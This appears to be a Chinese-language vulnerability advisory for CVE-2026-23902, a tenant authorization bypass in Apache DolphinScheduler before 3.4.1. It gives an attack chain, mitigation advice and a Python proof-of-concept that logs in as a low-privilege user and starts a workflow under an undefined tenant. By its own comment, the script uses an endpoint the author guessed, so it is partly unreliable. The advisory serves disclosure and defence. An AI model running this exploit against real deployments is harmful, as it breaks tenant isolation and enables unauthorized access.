IPBUF安全漏洞报告
English
CVE-2026-23902 CVSS 8.1 高危

CVE-2026-23902 Apache DolphinScheduler权限绕过漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-23902
漏洞类型
权限绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache DolphinScheduler

相关标签

权限绕过Apache DolphinScheduler认证绕过CVE-2026-23902不正确的授权

漏洞概述

Apache DolphinScheduler存在严重的授权逻辑缺陷。该漏洞源于系统未对工作流执行时的租户身份进行严格校验,导致任何拥有系统登录权限的已认证用户,均可调用并使用平台未定义的非法租户来执行任务。这种行为破坏了多租户环境下的安全隔离,攻击者可能借此绕过原有的权限边界,获取敏感数据或破坏系统完整性,给企业数据安全带来重大风险。

技术细节

该漏洞的根源在于Apache DolphinScheduler在处理工作流执行请求时,对租户参数的验证逻辑存在严重缺陷。在标准的多租户架构中,系统应强制将用户操作限制在已分配的合法租户上下文内。然而,受影响版本在任务调度与执行环节,仅验证了用户的会话有效性(即是否登录),却未对请求中指定的租户标识符进行合法性校验。攻击者利用这一逻辑漏洞,可以在创建或触发工作流时,通过修改HTTP请求参数或API调用载荷,指定一个并未在平台数据库中注册的“幽灵租户”ID。由于授权检查机制的缺失,后端服务会接受该非法参数,并在任务执行过程中错误地将其作为有效上下文。这导致多租户隔离机制失效,攻击者能够以未审计的身份执行代码,进而绕过基于租户的访问控制策略,可能造成跨租户的数据泄露或恶意篡改。

攻击链分析

STEP 1
信息收集
攻击者发现目标是Apache DolphinScheduler,且版本低于3.4.1,并获取一个有效的低权限用户账号。
STEP 2
身份认证
攻击者使用获取的凭证登录系统,建立有效的会话。
STEP 3
漏洞利用
攻击者在工作流执行请求中,手动修改参数,插入一个在平台上未被定义的租户ID(Tenant ID)。
STEP 4
权限提升
系统因校验缺失,接受了该非法租户ID,导致任务在未授权的上下文中执行,绕过了多租户隔离限制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration TARGET_URL = "http://localhost:12345/dolphinscheduler" USERNAME = "low_priv_user" PASSWORD = "password" def login(): """Authenticate with the application to get a session token.""" session = requests.Session() login_payload = { "userName": USERNAME, "userPassword": PASSWORD } response = session.post(f"{TARGET_URL}/login", data=login_payload) if response.status_code == 200: print("[+] Login successful") return session else: print("[-] Login failed") return None def exploit(session): """Exploit the authorization bypass to use an undefined tenant.""" # Payload attempting to execute a workflow with a non-existent tenant exploit_data = { "processDefinitionCode": 1, "scheduleTime": "2026-04-24 12:00:00", "tenantCode": "NON_EXISTENT_TENANT_999", "execUser": USERNAME } headers = {"Content-Type": "application/json"} print(f"[*] Attempting to execute workflow with tenant: {exploit_data['tenantCode']}") # Endpoint to execute workflow (hypothetical based on API structure) exec_url = f"{TARGET_URL}/projects/test/executors/start-process-instance" response = session.post(exec_url, json=exploit_data, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Workflow executed with undefined tenant.") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed or endpoint changed.") if __name__ == "__main__": sess = login() if sess: exploit(sess)

影响范围

Apache DolphinScheduler < 3.4.1

防御指南

临时缓解措施
如果暂时无法升级,建议管理员通过WAF或自定义脚本拦截包含未定义租户ID的API请求,并严格限制普通用户的权限,确保仅特定管理员可执行工作流,同时加强对系统日志的实时监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表